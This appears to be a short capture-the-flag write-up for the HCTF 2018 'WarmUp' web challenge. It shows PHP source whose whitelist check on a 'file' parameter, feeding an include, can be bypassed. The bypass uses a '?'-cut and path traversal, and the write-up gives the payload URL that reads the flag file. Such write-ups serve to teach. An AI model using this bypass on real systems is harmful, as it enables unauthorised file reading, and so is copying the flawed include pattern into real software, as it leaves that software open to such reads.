WEB_HCTF_2018_WarmUp

Categories

web-代码审计

write up

source code

get source code
http://eb22847d-9f8a-4ecf-b972-5ecebfcf5faf.node3.buuoj.cn/source.php

"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"; } ?>

analysis

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
......

$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

The code will cut the string you input by ?
$_REQUEST['file']through the cut and let string in whitelist
So,just
http://eb22847d-9f8a-4ecf-b972-5ecebfcf5faf.node3.buuoj.cn/source.php?file=hint.php?/../../../../ffffllllaaaagggg
We can bypass the chenk

flag

WEB_HCTF_2018_WarmUp_第1张图片

你可能感兴趣的:(【BUUCTF】,ctf)